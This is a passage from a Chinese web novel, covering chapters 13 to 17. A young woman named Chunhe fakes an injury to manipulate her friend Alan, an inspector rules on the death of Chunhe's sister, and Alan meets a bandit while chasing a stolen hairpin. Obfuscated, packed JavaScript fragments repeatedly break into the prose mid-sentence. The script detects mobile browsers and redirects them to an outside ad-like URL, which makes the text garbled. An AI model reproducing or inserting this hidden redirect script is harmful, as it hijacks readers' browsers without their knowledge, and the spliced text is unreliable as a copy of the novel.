春禾手里还落下些银子没给完，只好再揣回身上。她知道是春宏达的问题，又看小孩逃窜的身影，一瘸一拐，这才知道是个跛脚的，心里更是难受，回头对春宏达撇嘴道：“这小娃娃那么可怜，你也计较。” 忽然眼睛一亮，又有了新的主意，把春宏达的拐棍递还回去，连人一起拉到角落里。 她迅速弯下腰，把左腿裤脚挽了起来，露出脚踝，伸到他面前，手指着说：“来，朝这儿打，把我也打成他那样。” 春宏达瞪了眼睛，满脸不可置信，以为她在说胡话，吵她道：“发什么疯，我赶个叫花子还真成不是了？” “爹，快点儿。”春禾无奈，把脚尖往地上一点，解释说，“等我走不了路，就让阿兰送我去衙门，到时候我有办法让她出来作证。” 春宏达沉默了一阵，不知在想些什么：“要她出来作证能有啥用？” “她要是愿意，刘祯能赔她一条命。总归也是为姐姐报了仇。” “哦？”他爹浑浊的眼睛亮了亮，“那他把命赔给那个阿兰，钱是不是该赔给我们？” 春禾最清楚自己父亲德性，是个爱财如命的主，这次陪她来永临讨公道，十有八九也是冲着钱来的。 她没理会春宏达的话，只是白了他一眼，又踢踢腿，催促他赶紧动手。 “唉，你是我亲闺女，平白无故地我怎忍心呢！”春宏达嘴上说着，眉眼一挤，举着拐棍就朝她脚踝上连抽三下。 没想到会这么痛。春禾差点摔倒，扶墙强撑着，还冒了些冷汗出来，呲牙低声喊着：“哎哟……” 睁开眼一看，脚踝已经肿得老高。她忍痛试着走上两步，还好，只是皮肉伤，筋骨倒没大碍。 春禾搓搓脚踝，装作一瘸一拐地走路，扭头问春宏达：“爹，你瞧我学得像不像？” 春宏达在一旁看着，忍不住笑道：“还真比不上那叫花子像。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093822|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你懂什么！”春禾瞥他一眼，“你也早点回去，明天衙门见。”说罢，转身大步离去，走到一半又突然慢下速度，磕磕绊绊地往前步步挪着。 春禾就这副模样去找了阿兰。阿兰见状，果真吓了一跳。 她把人扶进屋里，拿帕子替她擦眼泪，好声问着：“半日不见，怎么成这样了？” 春禾只说自己被轰出衙门时崴了脚，现在连路都走不成了，也不知自己是怎么回来的。 阿兰让她把脚伸到矮凳上，仔细检查了她的伤，见上面是又红又肿的几道印子，瞧着不像是崴了脚，却也没说什么。 只翻出药膏来，准备为她涂药，却听春禾的声音从上方传来：“姐姐，怎能让你照顾我？还是我自己来吧。” 阿兰把她伸过来的手按回腿上：“你姐姐唤得如此亲切，此刻怎么还生分起来。” 春禾不好意思地笑笑，待阿兰帮她把药厚厚敷上一层，小心翼翼地收回脚，正想开口再求她，阿兰却先对她说：“后几日不要再去衙门了。” 春禾有些惊讶地仰头看她。 阿兰接着说：“天天碰南墙，还不罢休么？” 阿兰本没有劝动她的想法，只是忍不住再提醒一遍。 若如她所言，刘祯害了别人性命，知县却不为所动，怕不是和胡大途一样，贪了赃银，这才会这么昧着良心为刘祯开脱。再去，也是白费力气。 谁知春禾丝毫没有听进，依然执迷不悟道：“不罢休。” 阿兰随着声音望她一眼，无奈地背过身去叹息。 好一个倔强的…… “我姐姐是这世上对我最好的人，”春禾继续道，“不管谁伤了她，就算只有分毫，也得付出代价。” 阿兰心里被她的话激得一颤，缓缓转过头来，动了动嘴，却没说出话，又垂下了眼睛。 她竟从春禾身上，看到了曾经的自己。想当初，她也是如此的天真执拗，总以为只要自己坚持，就能讨回公道。可如今，在这世道的磋磨下，那份勇气早已消失殆尽。 愣了半晌，决心要替她支个主意。 脑中突然起了一道人影。她缓缓开口：“你可找过巡按孟大人？” 阿兰虽惧怕此人，但春禾又不曾犯过错事，若只为姐姐申冤，他为人公正，找他来定能讨得公道。 春禾也知晓他，听到阿兰的话，神色一变，立即摇了摇头。 “你说这新上任的知县不公，就该去找他替你治治。”阿兰又劝道。 春禾再次摇头，似乎在犹豫，想了一会终于又点点头，对她说：“我明日最后去一次衙门，若还没结果，便去找他。” 阿兰见她心意已决，也不再与她啰嗦，微微一笑：“好。” 见眼前又有了机会，春禾急忙抓住，央求道：“姐姐，明日送我去衙门可好？” 让人一下子滞了嘴角。 春禾眼巴巴看着她，抬起脚，将脚踝红肿的一面露出来给她看：“我一个人走不了路……” 14. 辜负真心 阿兰终究拗不过她，翌日晨曦微露，二人便起身去往衙门。她小心搀扶着春禾，后者一步一顿地往前挪，鞋底在地上沙沙作响。 远远望去，衙前伫立着一个佝偻的人影。春禾眼睛一亮，连忙抬起手朝那处挥了挥，大声喊道：“爹！” 阿兰这才知道，原来那就是春禾的父亲。 她把春禾的手交到春宏达不拄拐的胳膊上，如此，竟让两个瘸的走在了一起。 阿兰虽觉得别扭，但还是坚持了留在原地，让父女俩继续往前。 春禾摇摇晃晃走了几步，不忘回头头看她，目光带着几分不安。 阿兰看得出她意味，却装着糊涂，只对她说：“我就在这儿等你。” 独自在外面干等，百无聊赖。又听得耳旁一男一女对话声隐隐约约，鬼使神差之下，她还是迈进了官衙大门。 进门先是一段甬道，甬道两侧各有一莲池。 上次来时，荷叶早已残败，横七竖八地浮在水面上，没想到短短时日过去，满池莲叶竟恢复了蓬勃生机，层层叠叠挨在一起，其中似还夹有青粉的花苞。 一路边走边看，就到了公堂门口。阿兰一眼便瞧见春禾的背影，见她独自跪在堂中，好像比旁人都小上一截儿。 阿兰不由自主地又凑近了些。 恰在此时，从里传来界方拍案的一声清响，接着便是李知县的话：“你竟还敢来！” 只见春禾肩膀猛地一颤，好似伤弓之鸟，难得轻声细语地说：“李大人，您为何不为我姐姐主持公道呢……” 许是李知县人老了，察觉不出小姑娘神态间的变化，还当如往常，轰道：“本官再给你最后一次机会，速速离去。” 春禾侧过脸，余光瞥向公堂门外，果真看到了那个熟悉的身影，心中暗暗得意。回了头，却一句话都不说，木然跪在原地。 “好，”李知县闭紧了双眼，几次咬磨牙齿，腮边鼓了又鼓，终于下令，“来人，上刑。” 阿兰也顾不得其他，伸手扶上了门框。 这新上任的知县由孟文芝一手提拔，本该是个公正讲理的人，怎么在眼前时便是这副蛮横模样，简直是胡大途显灵，实在令人失望！ 想着，阿兰不由得皱下眉头，又将双手揉在一起，两片手心皆是潮湿。 怎么春禾今日如此反常，竟丢了以往的性子，任那些衙役取来拶子，又捉住她的手指。 正疑惑时，她忽然发觉身旁空荡许多，原是少了个人。 往前一看才知春宏达拄着拐杖艰难地走了进去，“扑通”一声跪下，要为女儿说情。 “当心我再叫人拿来夹棍，连你一同收拾。”李知县虽撂下狠话，但并未真做出什么。 倒是春禾那丫头精力过于旺盛，只将她轻轻浅浅拶上几下，去去威风，也当作是杀鸡儆猴了。 他冷不丁瞧了春禾一眼，却发现她现下出奇地乖巧，不吵不闹低着头，十指老老实实伸着，也未有躲闪，反叫他心里有些不快。 但想起上次警告过她的话，今日必须践行。便背过身朝衙役们挥了挥手。 衙役们动作迅速，即刻伸展了胳膊，就要将拶绳收紧。 阿兰胸脯快速起伏一阵，忽地迈开腿走进去，脸仍然是煞白的，大声阻止道：“大人且慢！” 李知县闻声蓦地将身转来，看到公堂里又多出一个人，忍不住在心中感慨，自己这官做的，当真是毫无威严！ 便暗自整理了容色，厉目扫视众人，拍桌怒喝：“一个个都是天大的胆子，！擅闯公堂，你等还将本知县放在眼里么？” 春禾终于憋不住，出声反驳：“你若公正断案，谁稀得来你这里闹！” 她音量虽压不过别人，但言语却很是伤人，把知县气得说不出完整的一句话来，只颤着手使劲指她：“你，你……” 春禾迎着他的目光挺挺身子，仰起头，下巴尖也跟着一翘。 阿兰既气这知县蛮不讲理，又怕春禾太过嚣张，忙走过去挡在这剑拔弩张的两人之间，将春禾护在身后，对知县说：“她不过为姐姐鸣冤，您为何如此气急，非不受理？” 李知县听完，当即冷笑一声。早猜她也是春禾搬来的，又不免暗自庆幸起来，得亏先前那个打伤刘祯的狱卒受了刑，无法走动，不然今时今日一同前来，这公堂还能有他的椅子么！ “为何不理，你们哪个不是心知肚明？”李知县缓了一口气，无力地讽刺着。 阿兰挪动了脚步，转头看向春禾。 春禾与她对视一眼，随即说道：“阿兰姐姐，你无需管我。” 知县侧着耳朵，听到“阿兰”二字，眯着的双眼微微瞪大，忍不住开口：“你就是阿兰？” 没等她回答，春禾便在后面抢先回答：“她正是。阿兰被刘祯轻薄，还请大人为她做主！”话中的诉求这就开始改变。 阿兰眼神骤变，如坠冰窟，心中一阵失落。 原来，谣言竟是从她这里出来的…… 她睨视着春禾，眼中情绪是道不明的混乱复杂。 片刻后也弯身跪下去，从袖中拿出一张纸，双手呈上：“这是我的状纸，实事真相都已在上面写清，还请大人明察。” “姐姐……”春禾直起身向她那处望去，想伸手阻拦，最终却还是顿在了半空。 她没想到阿兰会备有状纸，自己未曾看过里面的内容，自是满心不安，也不知阿兰究竟会不会为她说话。 知县吩咐衙役把状纸递上来，从头到尾仔细看了一遍，脸色瞬间变得阴沉，转头盯着春禾，突然厉声道：“大胆！” 春禾急忙缩了身子。 李知县袍袖一甩，教训道：“公堂可是你信口雌黄，胡闹撒野的地方！你果真是满嘴的谎话……” 谁知这一声，竟把巡按大人也给震来了。 孟文芝走进来，才发现这里是一团乱：李知县满脸怒气，几个人跪在地上，春禾手上还戴着拶子。 虽说公堂是严肃的地方，他此时却如何都藏不去脸上笑意，无助感叹道：“还真是愈发热闹了。” “孟大人您来了……”李知县起身让座，因为发火太过，这会说话都觉得气息不稳。 孟文芝挨个将人看了。先是跪在近处的阿兰，再是一旁发愣的春宏达，接着又是最为狼狈的春禾。 见她刑具尚在手上，却并无伤痕，还是明知故问向知县说：“上过拶子了？” 知县一怔，摇摇头。 孟文芝并不意外，缓步走到案后，坐了下来。他知道李知县做事极认真，可唯一点不好，便是过于心慈手软。 随手翻了翻眼前的状纸，又仔细一瞧，发现上面竟是阿兰的名字。 怎么今日突然愿意告状了？孟文芝觉得奇怪。 思绪飞走片刻，他又重回刚才的话题，道：“那便不再拶了，撤掉吧。” 待恢复正色，又开口：“春禾，上前来。” 春禾见到孟文芝，知他不似那知县老头好惹，也不敢再闹，立刻站起身往前走了几步，又跪下身低头等他发话。 李知县命人端来茶水，孟文芝抿一口茶，余光中见春禾似乎很是委屈，便对她耐心道：“你有什么苦，有什么恨，且来与我说说。” 阿兰在旁静静观望，眼前气氛如此凝重，她一时也分不清是好是坏，只能在心中思量着。 春禾犹豫片刻，只说着：“巡按大人，我姐姐先前在刘府做女使，却被刘祯残忍打死，我今日带着爹爹来永临讨个公道。” 说着，她又看向知县，眼中神色不再单纯：“不想今日这永临县老爷偏袒恶人，全然不把我姐姐的命当回事……” “你……”李知县在孟文芝身旁急得弓起腰，“休要胡说！” 春禾收回目光，继续冷静道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她早已发觉事情不对，压下眉头，侧目看向春禾，只见后者双手紧紧撑地，头深埋在双肩之间，身子发着颤。 接着又看向春宏达，那老者脸上惊诧万分，眼神里突然晃出一抹狡黠神色。 见他二人如此反应，阿兰胸口猛地往下沉坠，一切瞬间都明了了。 原来那事情前因后果，春禾俱已知晓，只是不对她说，将她诓得团团转。 一片真心竟被如此辜负，阿兰不由得暗暗攥紧了手，指甲嵌入掌心。 “那为何要将我女儿打死！”春宏达突然暴喝一声，仿佛是溺水时最后的挣扎。 孟文芝眸光忽闪，冷声质问：“你是春眉父亲，又可知她患有肺痨之症？” 春宏达愣在原处，接着，春禾也抬头望向他。 孟文芝继续说：“彼时春眉已病入膏肓，可刘祯与你们一样，对此一无所知。因偷窃之事，对她加以训诫，春眉疾病突然发作……” “于是，他请了全县的郎中过来救人，”孟文芝朝那狱卒看过来，后者歪着身子，表情难辨，“不巧，你的母亲也正受重病。” 原来刘祯先前打死的，和后来要救的，是同一人。狱卒恍然大悟，胸中闷得要喘不过气。 孟文芝接着名人把证人和证据都带来。 春禾手中拿到一封姐姐去世前写下的遗书。 满是春眉对命运的喟叹。她这一生，尽是坎坷，早早离家以为能寻得安身之所，却所托非人，惨遭男人背叛，又身患恶疾，药石无医，陷入绝境。 最让她痛苦煎熬的，却是一时糊涂，昧着良心去行偷盗之事。这份愧疚大约也伴随了她最后的时光…… 春禾痛心疾首，豆大的眼泪滴滴答答往下掉着，一颗接着一颗。 春宏达过来将她搂进怀里，表情也难过无比。 过了一会，又匆匆赶来一个老者，走向狱卒。 狱卒双眼通红，脖子哽着，转头努力扒着他的胳膊去看他。 那是一直为他母亲治病的大夫。 15. 答案分晓 大夫满心惶恐，两条胳膊战战兢兢地发着抖。 几次尝试后，他终于对狱卒开了口：“你知道，你母亲的病症，一直由我诊治……” 狱卒一边眉毛开始不受控地跳动起来，目不转睛盯着他，等待他继续说下去。 那老者在心中劝服自己，身为大夫，不仅医人，更要医心。如今若不帮他解开心结，他往后必要被这执念痛苦长久纠缠。 这么想着，老大夫终于卯足了勇气，干脆一气将话说完：“孩子，我只将实话告知与你。你母亲早已病笃难医，能撑到元宵，已是奇迹。 “她大限早至，那日你就是请来天上的神仙，也再难将她救活……” 狱卒闻言，一下子被抽去全身力气，手从大夫胳膊上缓缓掉落，接着人就滑倒在地，蜷成了一团。 阿兰见左右各有场面，想必人间百态也不过如此，而自己局促地置身其间，心里是一样地不好受。 孟文芝与她所感相似，唯不同的是她在下面亲自体味，而他高坐公堂尊位，在上面端详审视。 手指轻轻搭在桌案上，一下一下缓节奏叩着，时间就此流逝。 春禾泪水已然流干，春宏达松开了搂她的手，狱卒也被几个衙役搀扶着直起身来。 “各位觉得，那刘祯该如何判罚才好？”孟文芝终于开口，问道。 众人皆沉默不语，只有隐隐约约的的呼吸与抽泣声。 孟文芝见此情形，明白自己已将道理剖析清楚，无人再无理取闹，便继续往下进行。 他拿起面前李知县刚收上来的状纸，看了又看。 这纸上的字迹，他识得…… 他抬起头，发现阿兰也正望向自己。 于是嘴角不自主地上扬，露出一个不易察觉的弧度，没有言语，只是伸手向自己桌案前不远处示意。 阿兰微抬双眉，会了他的意。 她站起身，往前走了几步，大约与春禾并肩。正犹豫是否还需上前时，却听到前方传来声音： “继续。” 阿兰轻轻抬眼瞥他一瞬，又低着头继续向前走了几步，直到超出春禾几人的距离，孟文芝才再次对她说道：“停步吧。” 听他满意，这才好又跪下身来，等他发落。 孟文芝并未立刻说话，而是又仔仔细细看了一遍案上的状纸。过了会儿，炯炯目光直视向阿兰。 后者心中清楚，自己先前的谎言即将被揭穿。 她准备状纸时，未曾料到真会派上用场，更想不到这状纸会被孟文芝如此反复查看。 此番，是她大意了。 孟文芝隔着这张纸，轻轻敲了桌子，问道：“这状纸可是你亲手书写？”许是距离够近，他音量不似先前那般大，竟显得语气尤为温和。 事已至此，阿兰又如何能否认的了，只好点点头，底气不足地应道：“是。” 终于听到她的一声“是”，孟文芝暗舒一口气。她当真是先前那文章的主人。 他并没有猜错。 但眼下要事还未处理完，只能控制住自己不再多想。 刘祯骚扰阿兰一案，他早已彻查清楚，刘祯也已全部招供。如今阿兰前来告状，状纸上写得更是详尽清晰，似乎无需再多费口舌。 他命人将刘祯带上来，就押在公堂中离阿兰最远的地方。 此时大堂里人虽众多，却都安静异常，每个人都没有动作。 刘祯身上的伤大约是不再疼了。他仰着头，左右顾盼。 临死前，总要把在场的这些冤家一个个都看清楚。 最后，目光还是不由自主地停在阿兰身上。 即便只是从远处看到她的背影，他也能生出诸多美好遐想。这难道不是爱吗？他从未对任何一个女人如此用情过，甚至如今恐怕要为她搭上性命。 刘祯感慨着，眼中一会儿满是深情，一会儿又尽为可惜。 就在他快被自己“伟大的爱意”打动时，孟文芝及时拍下了惊堂木。 他这一举，为的不是整肃公堂，而是尽早断了那人妄念，免得染脏了旁人。 只是没能控制好力度，醒木拍案声震得整个大堂嗡嗡作响，所有人一齐抬起头。 阿兰离他最近，被这突如其来的惊响吓得双肩猛地一抖，眼神中顿生许多不安情绪。 孟文芝余光瞥见她受惊的模样，手不自觉地按在醒木上。 这块醒木虽已安静趟在桌案，却似乎还有余声在公堂回荡。 忍不住施力将它压得服服帖帖，想把所有声音都收回到醒木与桌案贴合处那道比发丝还细的缝隙中。 过了片刻，孟文芝耳旁清净些许，便收敛心神，继续处理公务。 他扫视着全场，朗声道：“我不蒙冤良善，但也绝不容奸邪逍遥法外。” “刘祯，你屡次狎侮良家，不思悔改。今依律罚你充军，八年后方许归乡，即日启程。” 刘祯脸上说不出什么神色，约是喜伤交杂，矛盾万分。喜的是这铁面巡按竟放他一条生路，伤的是充军八年，自己可还有机会活着回来…… 孟文芝再次询问：“众人可有疑议？” 公堂之上一片寂静，唯有一声若有若无的轻叹，不知是忧愁还是如释重负。 他有耐心等待，直到所有人都拿不出理由反驳。 阿兰该是没有什么要说。跪坐在地上，双手垂在膝前，低头凝视着地面。 头上还带着那支青翠的簪子，簪子上雕刻的兰花栩栩如生，泛着温润光泽，恰如她本人一般秀丽。 她虽位置在前，但与孟文芝仍有一段距离。可他此时却能清楚地闻到一股清冷的幽香，直沁肺腑。 心情舒畅许多，眼前嘈杂的公堂也不觉得凌乱了。 突然，有人清了清嗓，混浊的声音随之响起：“那个，巡按大人……” 一切馨香顿时如云烟般消散无踪。 孟文芝终于意识到，原来方才所闻到的，不过是自己暗自滋生，难以抑制的情愫。 他本不愿承认，但此时此刻，他亦无法否认。 目光从阿兰身上移开，循声望去。 原来是春宏达在说话。 春宏达本欲直接开口，或许心中有虚，先环顾了四周去观察旁人模样，又支支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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春禾见状，急忙拉了拉她爹挺直的身子，春宏达瞬间矮了半截。 她心里恼着，还是压着喉咙焦急道：“爹，别乱说！且听这位大人定夺。” 春宏达这才回过神来，心中的激动瞬间消散，意识到自己大抵是钱迷了双眼，一时糊涂。这会醒悟过来，连忙拜倒在地，不敢再吭声，更不敢贸然起身。 孟文芝瞧他一眼，便只觉胸闷无比，只好把目光掠过他。 念他只是一时失言，也不能因此便对他加以惩罚，先回道：“金额由知县斟酌考量。” 罢了，又沉声提醒一句：“李大人所言，如同我所言，你等若再肆意扰乱公堂，必有后果承担。” “是，是……” 春宏达连连点头，身子不停地晃动。春禾听了这警告，也赶忙把头埋下，不敢再抬起。 孟文芝话已说完，正欲回到案后。 就在这时，眼下突然有了动静。 阿兰跪得久了，双腿早已经受不住。趁着孟文芝在上面发话，悄悄调整着腿上的姿势。 这会儿她神思一晃，没把握住平衡，身体跟着猛然一歪。 接着又狼狈地重新跪好，缓慢地将视线往上寸寸挪移。 眼睛刚找到终点，便发现那人也正在探寻她的目光。 “今日先到此，退堂。”孟文芝对在堂众人说着，眼睛却没离开她。 两条视线交缠，无论谁追谁逃，都只能缠得更紧，绕得更深。 16. 残雪融缩 阿兰本意不过陪春禾一程路，未料最后成了她计划的一环，深陷纷扰。 怪不得她刚到公堂就隐隐觉得气氛有异，可惜她轻信了春禾，自欺这些不过是无端臆测。 现在想来，春禾是故意隐瞒知县不判罚刘祯的原因，误导她以为知县昏庸。 阿兰着了她的道，为了护她，这才不顾别得站出来为她说话，可到头来被戏耍的，竟是自己。 她不住在心底自嘲，怎能如此糊涂，对一个初识之人毫无保留地交付真心。 许是她独身在永临，一无亲人二无朋友，如今春禾对她少露热情，便甘愿将善意尽数捧出。 但现在，她后悔了。 她虽知道春禾本性不坏，可后者此番所作所为，着实触到了她的底线。 阿兰不能接受被这般利用，不由得心生抵触，拒绝春禾的靠近，返回时也不愿再与她同行。 正欲抬脚离开这是非之地时，身后突然传来熟悉的声音： “阿兰……” 其中夹杂着一丝犹豫和难以掩饰的尴尬。春禾张了张嘴，终究没能喊出那声“姐姐”。 她心里该如明镜似的，对自己的所作所为最是清楚。面对阿兰，想起那些算计和隐瞒，也觉得面上无光，悄然低下了头。 阿兰听到呼喊，眼眸顿了一下，脚上步伐却没有丝毫停歇。她并不想回头。 春禾见状，急忙小跑追上去，几步绕到阿兰身前，张开双臂，拦住她去路。 脸上扯出一个比哭还难看的笑容，努力让自己镇定些，试图直视对方的眼睛，诚恳道歉，与她认错。 而阿兰却侧过身，刻意避开她的目光，垂眸朝她下半身望去。 春禾循着她的视线，低头，这才发现阿兰打量着的，是自己的脚踝——那只用来骗取同情的脚踝。 刹那间，空气仿若凝固，一股麻软之意从那处升起，流窜到全身。 她的心也跟着揪了起来。 不及春禾解释，阿兰似乎在对自己说话：“原来，那伤也是假的……”声音轻得几乎是飘在风中。 说罢，抬眸深深地望了她一眼，眼睛里积蓄着令春禾无法言说的情绪。 而后阿兰略过她，继续前行。 既然已认清了人，再多的停留也只是徒增烦恼，一切尽快过去才好，她不想再多费时间在此。 春禾愣在原地，好一会儿才回过神，脸上白一阵红一阵，满心窘迫，再次追赶上去，语无伦次地对她说：“我……都怪我！我不该隐瞒姐姐的死因，不该撒谎，害你险些失了清誉，也不该假装崴脚，骗你送我去衙门，更不该利用你对我的真心，把你拖进浑水……” 说着说着，春禾鼻子一酸，声音也带上了哭腔，几步上前拉住阿兰的衣袖，重复着：“对不起，对不起！” 阿兰被她这一扯，脚步顿住。深吸一口气，缓缓转身，脸上很是平静，可颤抖的指尖还是没能将她心情藏住。 春禾还是那副样子，眼中满是水光，招人疼惜。此时此刻，阿兰却怎么也辨不清这泪水里究竟藏着几分真心，又有几分假意。 阿兰心中五味杂陈，终是别过头，淡淡说：“春禾，我不在意这些。” 春禾的各种作为，桩桩件件，她都明晓，但实在没有心力计较，只想尽快结束这一切。 就此作罢吧。 春禾呆立原地，眼睁睁看着阿兰离去。那道背影消瘦，与她姐姐春眉颇为相似。 想着想着，脸上原先那股精明劲儿尽数褪去，取而代之的是怅然与失落。 她只在失去的时候才知道难过。事情做得太绝，此时，她连后悔的余地都没有了。 只好颓然转身，神色灰败没有生气。明明脚踝无恙，也无需装模作样，可这会走起路来，却好似被抽去了筋骨，每一步都摇摇晃晃，虚浮得紧。 春宏达还在原地等待，见女儿失魂落魄地回来，也大概知道发生了什么，好心劝导她：“怎的才认识几天，你就把她看得比亲人还亲？” 春禾耷拉着脑袋，没心情与他争辩，不开心地撇了撇嘴：“阿兰是个好人，是我对不住她。” 春宏达只觉得春禾突然变得痴笨。不理解她为何为一个外人难过：“对不住又能怎样，以后还不是各在一处，不会再相见了。” 他这番话虽无情，却着实在理。 春禾现在也只是难过，尚清醒着，听得进他劝导，点了点头哽咽道：“爹，你说得对。” ………… 次日，知县将赔偿金额核定完毕，分别把钱交到狱卒和春宏达手中。 春宏达接过钱袋，放在手心反复掂量，眉头拧成个疙瘩。怎么丢了女儿，就给他这么点儿银子，当他好糊弄，打发叫花子呢？ 但念在春禾在身旁，他没当场发作。 只将钱袋狠狠塞进怀里，不满道：“这么些，连咱们来去的路费都不够。” 春禾已认清现实，满脸疲惫，眼中不复当初的执拗，无奈开口：“本身也是咱们理亏。你忘了姐姐因何被打……” 自然是犯了错，才被府上主人教训。 话落，两人陷入沉默。 她最开始得知真相时，全然不服，一心只怪那刘祯。如今被折腾得心力交瘁，想必姐姐也不想见她这样无理取闹下去。 发丝凌乱地蹭在颊边，春禾垂头闷声道：“咱们今日就走吧。” 春宏达闻言，苍黄的脸上条条纹路僵滞，片刻后，才缓缓眨了眼睛：“这一趟，跑得可不值。” 春禾并不认真，无精打采随口应着：“那什么才叫值？” 春宏达顿时生出许多想法来，干薄的嘴巴朝一边挑，眼里带着期许看向她，和声道： “你总该去跟阿兰告个别……” ………… 阿兰刚回到酒铺，很是疲惫，坐在柜台后的椅子上揉搓双膝休息。 目光正随意游移，不经意瞥见桌角那本《廉正官箴》，接着又想到一连串的事情来。 从她在公堂上受尽刁难，在巡按大人家中醒来开始，孟文芝就和这本书一样，停驻在她的生活里。 先前他身上那股威严的气场，让她频频生怯。 如今许是见面多了，曾因他产生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿兰没察觉出她神色间的异样，只觉得是离别时有些难为情，没有多想，轻轻对她点头，说了声：“路上小心。” 她知道，此去一别，两人或许不会再相见了。 送走春禾后，夜幕降临。 阿兰“咔哒”一声落定门锁，将黑夜隔绝在外。 屋内昏黄的灯火在镜旁摇曳，光影晃动着。 这几日经历了太多，菱花镜中的人面色憔悴，眉眼中皆是倦意。 阿兰对镜，轻缓地卸去两边耳环，而后伸手往发髻上探去，指尖却只碰到了微凉的发丝，动作乍然一滞。 这才透过镜子惊愕地发现，那支她一直戴在头上的兰花发簪不在了。 那支发簪，是她母亲的遗物。 心中瞬间被焦灼填满，刚舒缓的眉头又敛在一起。脑中突然闪过今日春禾与她告别时的异常举止，心道不好。 17. 路遇山匪 阿兰双唇紧抿，闭上了眼。 她在努力压抑着自己几近失控的情绪，胸口的起伏还是愈发剧烈起来。 问题就在那个拥抱上。 那个临别时，春禾给她的拥抱。 春禾佯装亲昵，让她再一次放下防备，又在这时，偷偷取下了她的簪子。 难怪她心虚地将手背到身后，眼神躲闪…… 阿兰心中五味陈杂，想不通为何自己的善意总要被人反复践踏，百般利用。 满腔愤懑无处发泄，她彻夜未免，第二日天尚未破晓，便出发去寻春宏达父女。 那簪子于她如性命一样重要，无论怎样，都要找到。 此时残夜犹存，四下一片朦胧，阒然无声。阿兰打听了他二人的行迹，提了盏灯，就这么坐上去往青州的马车。 骤然一声清脆马嘶，划破白蒙蒙晨雾，接着车轮“吱呀呀”响起，缓慢转动起来。 一路很是途颠簸，走着走着，忽听马儿凄厉鸣叫，蹄声越飞越远，而车厢猛地一震，歪斜着停下了。 阿兰毫无准备，被重重甩在木质的厢壁上，眼前是天旋地转。 等晕眩稍有缓解，阿兰小心地向外问着车夫：“这是怎么了？” 车夫早跳下了车，闻声赶忙过去，将她扶了出来，无助道：“真是对不住姑娘，这马突然疯了似的，脱了缰绳，害得车撞在树上。” “姑娘，咱们今日可能走不了了。” 天边有了日出的迹象，泛着半圈鹅绒扇子一样的灰白光晕。 阿兰下意识朝着林叶纷飞的地方看去，只见那马飞奔逃窜之余，反复瞪踢着后腿。 定睛细看下去，隐约发现马腿上横插着一支短箭。 这才惊觉此事蹊跷，是有人故意作乱。 车夫还没迷糊过来，在她旁边叽里咕噜赔着不是，阿兰一句都听不进去，四处寻望着，呼吸停了一瞬，迅速对他说：“快走！” 话音未落，她便匆忙转身，向来时的路跑去，车夫茫然愣在原地，终于反应过来，也慌慌张张地跟着跑起来。 才跑没多远，果真闪出一道黑影来，将他二人去路拦住。 阿兰猛地收住脚步，警惕着看着来人，心脏在胸腔里疯狂跳动。 那人黑布蒙面，只露出一双细而小的眼睛，恶狠狠地盯着他们。 虽辨不清他身份，但见他手上握着把尖刀，刀刃还染着干涸的棕色血迹，显然不是什么好人。 车夫吓得往后退了几步，一边说着：“这位好郎君，咱们有话好好说，别把这种东西对着我们，很危险的……” 山匪瞪他的眼睛压成一条黑缝，看着越发凶恶了。他缓缓拿刀朝他二人挥了挥，逐步逼近。 车夫站在阿兰身后，离他尚有距离，此时双腿控制不住地打颤，偷偷转头望了周身一圈，心晓这山匪大概是独自一人，突然升起了侥幸。 犹豫过后，他咬了咬牙，选择去赌一把，指着山匪身后，大喊一声：“有金子！” 想来山匪之所以沦落为山匪，也是因为头脑不灵光。这一下子便着了人家的道，立即转过身去瞧。 趁此机会，车夫嗷嗷叫着，跌跌撞撞跑走了。 山匪被他叫声唤醒后，这才意识到自己被骗，转回身就要去追。 本不想放过那狡猾的车夫，但又突然顿住脚步，生怕阿兰也跑了。衡量之下，还是选择守住看起来勉强比那穷酸车夫多些油水的阿兰。 阿兰离他的刀尖不过咫尺距离，只极轻缓地往后步步退着，不敢有太大动作。 她试探着问道：“你想要什么？”言语间，甚至能清楚听到自己气息的流动声。 山匪也不多啰嗦，直接提出要求：“我要钱财，要宝贝。” “你瞧我身上，哪里有值钱的东西？”阿兰无奈摊开了手，让他自己找寻。 她可并未说谎，自己身上唯一值钱的就是那兰花簪子，如今也丢了。 山匪把她上下打量之后，把刀又逼近了一寸，阿兰刚想后退，却听山匪吼道：“不许动。” 随后把刀尖抵在她脖子上，恐吓着：“若是交不出，小心我真要了你的命。” 生死时刻，阿兰似乎感知不到痛意，只觉得有一滴温热的液体从颈上皮肤缓缓滑落，下意识用余光一看，发现白色的衣领已被染红。 她那么奋力地活着，如何能甘心就这样被山匪劫去性命。 既拖不了几时，只能尽力去搏一分生机，对他道：“我的东西都在车上。” 山匪目光顺着歪倒的马车游移，暗自思量一阵，瞪着她，狠狠道：“现在去给我取出来。” 他把阿兰转了个身，用刀抵着她后背，把她按进车厢，自己则门神一般在外面堵着，生怕人跑了。 阿兰临时上路，车里怎会有她的物品。她不敢喘气，硬着头皮去开座下的柜门。 门上有一把小巧的锁，显然是车夫留下的，她用各种方法尝试了几次，都没能打开。 